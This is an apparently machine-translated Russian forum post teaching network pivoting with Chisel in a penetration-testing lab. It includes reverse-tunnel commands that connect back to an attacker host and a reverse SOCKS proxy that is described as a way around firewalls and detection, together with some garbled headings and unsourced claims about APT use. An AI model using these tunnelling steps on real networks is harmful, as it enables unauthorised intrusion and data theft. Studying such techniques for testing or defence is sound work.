Поворот в сети: начало работы с Chisel

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Добро пожаловать обратно, начинающие кибервоины!

При проведении теста на проникновение или кибервойны вы, как правило, нацеливаетесь не только на один компьютер. Зачастую целью является проверка нескольких систем, и вам приходится перемещаться по сети, меняя направление атаки для получения более широкого доступа к среде. Однако иногда это может быть непросто. В этой статье я хотел бы познакомить вас с инструментом, который упрощает этот процесс: Chisel.

На начальном этапе атаки мы можем наблюдать следующую сеть:

chisel_network.avif

Давайте выполним ping-сканирование по подсети 10.10.10.0/24 для определения активных хостов:

chisel_hosts.avif

Ниже приведен анализ команды и ее вывод:

Пояснение команды:

  • nmap -sP 10.10.10.0/24 -n -T5
    • -sP : эта опция указывает Nmap выполнить ping-сканирование, которое проверяет работоспособность хостов без проверки портов.
    • 10.10.10.0/24 : указывает целевую подсеть для сканирования, охватывающую все IP-адреса от 10.10.10.0 до 10.10.10.255.
    • -n : Отключает разрешение DNS, ускоряя сканирование за счет пропуска поиска имени хоста.
    • -T5 : устанавливает шаблон синхронизации на значение 5 (максимальное), что делает сканирование максимально быстрым. Будьте осторожны, так как это может создавать помехи и вызывать оповещения IDS/IPS.

Интерпретация выходных данных:

  • Nmap обнаружил в этой подсети два работающих хоста: 10.10.10.1 и 10.10.10.2 .
  • Сообщаемые значения времени задержки (0,00025 с и 0,00026 с) чрезвычайно малы, что указывает на очень быстрый отклик этих хостов.
  • Сканирование завершилось за 2,13 секунды , были проверены все 256 IP-адресов в подсети.
Этот тип сканирования полезен в сценариях поворота для быстрого определения доступных хостов в целевой подсети.

Видим, что наша целевая машина — 10.10.10.2 . Далее я войду в систему по SSH и воспользуюсь ранее полученными правами root. В этой демонстрации я пропущу этап эксплуатации и сосредоточусь исключительно на процессе поворота.

chisel_login.avif

Теперь, когда у меня есть доступ, я принесу необходимые инструменты.

chisel_take_the_tools.avif

Как видите, я настроил сервер Python и скопировал необходимые инструменты на «взломанную» машину. Нам понадобятся Nmap, Socat и Chisel. Важно отметить, что это статические исполняемые файлы, поэтому я могу запустить их на целевой машине без каких-либо зависимостей.

Теперь, если мы запустим hostname -I:

chisel_hostname.avif

Мы видим два интерфейса: тот, который нам уже знаком (наш целевой), и новый. Мы хотим просканировать весь диапазон и посмотреть, что можно найти. Сначала переместим наши инструменты в новый каталог с именем tools, а затем дадим им необходимые разрешения на исполнение.

chisel_prepare_tools.avif

Теперь я могу использовать Nmap для сканирования сети.

chisel_scan_network.avif

Мы нашли новую цель. Однако, если мы попытаемся достичь её с помощью нашей машины Kali, это будет невозможно. Для продолжения работы нам понадобится наш набор инструментов.

Для начала нам нужно настроить сервер Chisel для туннелирования, переадресации портов и даже SOCKS-прокси. Это позволит нам получить лучший доступ к внутренней сети, даже с машины атакующего Kali.

Chisel — это быстрый кроссплатформенный инструмент, предназначенный для создания защищенных туннелей TCP/UDP через HTTP, что делает его полезным для обхода сетевых ограничений во время Red Teaming или тестирования на проникновение.

Подземное признание долота

Хотя детальная атрибуция может быть сложной, данные разведки угроз свидетельствуют о том, что группы, занимающиеся сложными задачами, интегрировали Chisel в свои оперативные инструменты. Было замечено, что группы, создающие сложные постоянные угрозы (APT), особенно действующие в геополитически уязвимых регионах, используют возможности Chisel.

Такие группировки, как APT29 (Cozy Bear), известные своими изощрёнными кампаниями кибершпионажа, проявили интерес к инструментам. Аналогичным образом, финансово мотивированные злоумышленники, нацеленные на критически важную инфраструктуру, осознали потенциал Chisel.

Техническая механика проникновения в сеть

Истинная мощь Chisel кроется в его универсальных возможностях туннелирования. В отличие от традиционных инструментов, полагающихся на предсказуемые шаблоны взаимодействия, Chisel добавляет сложности благодаря гибридному подходу HTTP/SSH.

Рассмотрим сценарий, который я описал ранее: тестировщик на проникновение взломал внутреннюю рабочую станцию. Традиционные методы требуют прямого доступа к сети или сложных конфигураций VPN. Chisel превращает это ограничение в возможность. Для создания обратного туннеля нам понадобятся всего две команды:

chisel server –reverse -p 9090

клиент chisel attacker_ip:9090 R:3389:target_internal_ip:3389


Эти команды создают зашифрованный путь.

chisel_pathway.avif

Объяснение приказа

  • ./chisel: Запускает двоичный файл Chisel из текущего каталога.
  • сервер: настраивает Chisel для работы в режиме сервера.
  • -p 9090: указывает, что Chisel будет прослушивать порт 9090.
  • –reverse: включает обратное туннелирование, позволяя клиенту Chisel (работающему на целевой машине) инициировать обратные соединения с сервером.

Цель этой установки

Эта конфигурация настраивает Chisel на прием обратных подключений через порт 9090. Когда клиент Chisel подключается к этому серверу с целевой машины в ограниченной сети, он устанавливает туннель. Этот туннель позволяет получить доступ к внутренним ресурсам целевой сети через подключение Chisel, эффективно обходя брандмауэры и другие ограничения.

Такое использование Chisel является обычной практикой в сценариях поворота, где навигация по внутренним сетям требует установления доступных путей возврата к вашей машине.

Следующий шаг

Теперь вам необходимо настроить клиент Chisel на целевой машине для установления соединения.

chisel_connection.avif

Распределение командования:

  • ./chisel клиент :
    • Эта команда запускает Chisel в режиме клиента, указывая, что данный экземпляр Chisel установит соединение с удаленным сервером Chisel.
  • 10.0.2.15:9090 :
    • Указывает IP-адрес и порт целевого сервера Chisel.
    • В этом случае клиент подключается к серверу, работающему по IP-адресу 10.0.2.15 и прослушивающему порт 9090.
  • R:носки :
  • Эта опция настраивает обратный SOCKS-прокси. Флаг R сигнализирует, что клиент запросит у сервера создание обратного SOCKS5-прокси.
  • Эта конфигурация устанавливает SOCKS-прокси на стороне сервера, позволяя клиенту Chisel маршрутизировать трафик через сервер. В результате весь трафик с сервера может быть направлен через созданный SOCKS-прокси на клиенте.

Интерпретация выходных данных:

Когда клиент пытается подключиться к ws://10.0.2.15:9090, он инициирует соединение с сервером Chisel, работающим по IP-адресу 10.0.2.15 через порт 9090, через WebSocket (ws://). В выводе также отображается отпечаток, соответствующий сертификату или идентификатору сервера, что подтверждает, что клиент проверил и распознал сервер во время установления соединения. После установления соединения задержка составляет 293,212 мкс, что указывает на очень низкую задержку соединения и подтверждает, что SOCKS-прокси теперь активен и готов к использованию.

Настройка обратного SOCKS-прокси позволяет направлять весь трафик с сервера на внутренние ресурсы, доступные клиенту. Такая настройка упрощает такие задачи, как разведка, эксплуатация уязвимостей и кража данных внутри сети.

SOCKS5-прокси:

SOCKS5 — это сетевой прокси-протокол, работающий на транспортном уровне (уровень 4) и поддерживающий трафик TCP и UDP. Он маршрутизирует пакеты между клиентом и сервером через прокси-сервер, выступая в роли посредника, который пересылает трафик к месту назначения. Приложения, настроенные на использование прокси-сервера SOCKS5, направляют весь трафик через этого посредника, который затем пересылает данные к месту назначения. SOCKS5 широко используется для обхода сетевых ограничений, маскировки IP-адреса клиента и безопасного доступа к внутренним сетям. Он также поддерживает аутентификацию, что делает его более безопасным, чем предыдущие прокси-протоколы.

Прокси-сервер SOCKS в этом сценарии:

В этом случае на сервере Chisel устанавливается обратный SOCKS-прокси (R:socks). Это означает, что любой трафик от клиента может быть направлен через скомпрометированную сеть для доступа к внутренним системам, которые ранее были недоступны. Такие инструменты, как веб-браузеры или приложения, поддерживающие прокси-сервер, можно настроить на использование этого SOCKS-прокси для безопасного доступа к этим внутренним ресурсам.

Веб-сокет:

WebSocket — это протокол связи, обеспечивающий полнодуплексную связь по одному TCP-соединению. Он позволяет клиенту и серверу одновременно отправлять и получать сообщения. После установления соединения WebSocket (начиная с HTTP-запроса и далее переходя на WebSocket) данные могут свободно передаваться между двумя сторонами.

WebSocket в этом сценарии:

В этом сценарии Chisel использует соединения WebSocket (ws://) для установления связи между клиентом и сервером. Это полезно в средах, где HTTP-трафик разрешён, но другие протоколы или прямые соединения могут блокироваться межсетевыми экранами. Использование WebSocket обеспечивает надёжное соединение в режиме реального времени для пересылки и туннелирования сетевого трафика.

Цель этого сценария:

Основная цель здесь — переключиться с скомпрометированной машины (клиента Chisel) на исследование и доступ к ресурсам внутренней сети. Настроив обратный SOCKS-прокси поверх WebSocket-соединения, можно достичь нескольких целей: во-первых, трафик WebSocket, похожий на обычный HTTP-трафик, может обходить ограничивающие межсетевые экраны и механизмы обнаружения. Во-вторых, становится возможным переключиться на сетевой трафик, позволяя таким инструментам, как Nmap, веб-браузеры или разведывательные утилиты, направлять трафик через SOCKS-прокси, что фактически позволяет исследовать внутренние системы, как если бы клиент находился непосредственно в целевой сети.

Чтобы перенаправить соединение с Kali или машины злоумышленника на новую цель, нам необходимо настроить файл proxychains.conf .

Вот как должна выглядеть конфигурация:

chisel_proxychains_conf.avif

Делая это, вы настраиваете ProxyChains для пересылки трафика через прокси-сервер SOCKS, установленный Chisel, который прослушивает порт 1080.

Причина добавления сервера Chisel в ProxyChains: настройка прокси-сервера SOCKS

Chisel создаёт SOCKS5-прокси, который позволяет маршрутизировать трафик через скомпрометированную машину или сеть, где запущен Chisel. Такая конфигурация гарантирует, что весь трафик, проходящий через ProxyChains, будет перенаправлен через SOCKS5-прокси Chisel.

Назначение: поворот и боковое движение

С помощью этой настройки вы можете получить доступ к внутренней сети через скомпрометированный хост. Трафик любого инструмента или приложения, настроенного на использование ProxyChains, будет направляться через прокси-сервер Chisel SOCKS5, что обеспечит доступ к внутренним ресурсам, которые ранее были недоступны.

Как это работает:

ProxyChains перехватывает трафик приложений (таких как веб-браузеры, Nmap, SQLmap и т. д.) и перенаправляет его на указанный прокси-сервер — в данном случае, на прокси-сервер Chisel SOCKS5. Такая конфигурация позволяет инструментам, изначально не поддерживающим SOCKS, взаимодействовать через прокси-сервер, что позволяет им маршрутизировать трафик через скомпрометированную сеть.

Как мы увидим далее, мы успешно достигли нашей цели:

chisel_reach_the_target.avif

Краткое содержание:

В этой статье мы рассмотрим сложности, связанные с переключением во время тестов на проникновение или киберопераций, где критически важно получить доступ к нескольким системам в сети. Мы представляем Chisel — мощный инструмент, который оптимизирует процесс переключения, позволяя специалистам по безопасности эффективно ориентироваться в сетях и расширять доступ к целевым средам.
 
Вау, интересный инструмент для безопасного обхода сетей и тестов на проникновение реально полезно для кибербезопасности
 
Назад
Сверху Снизу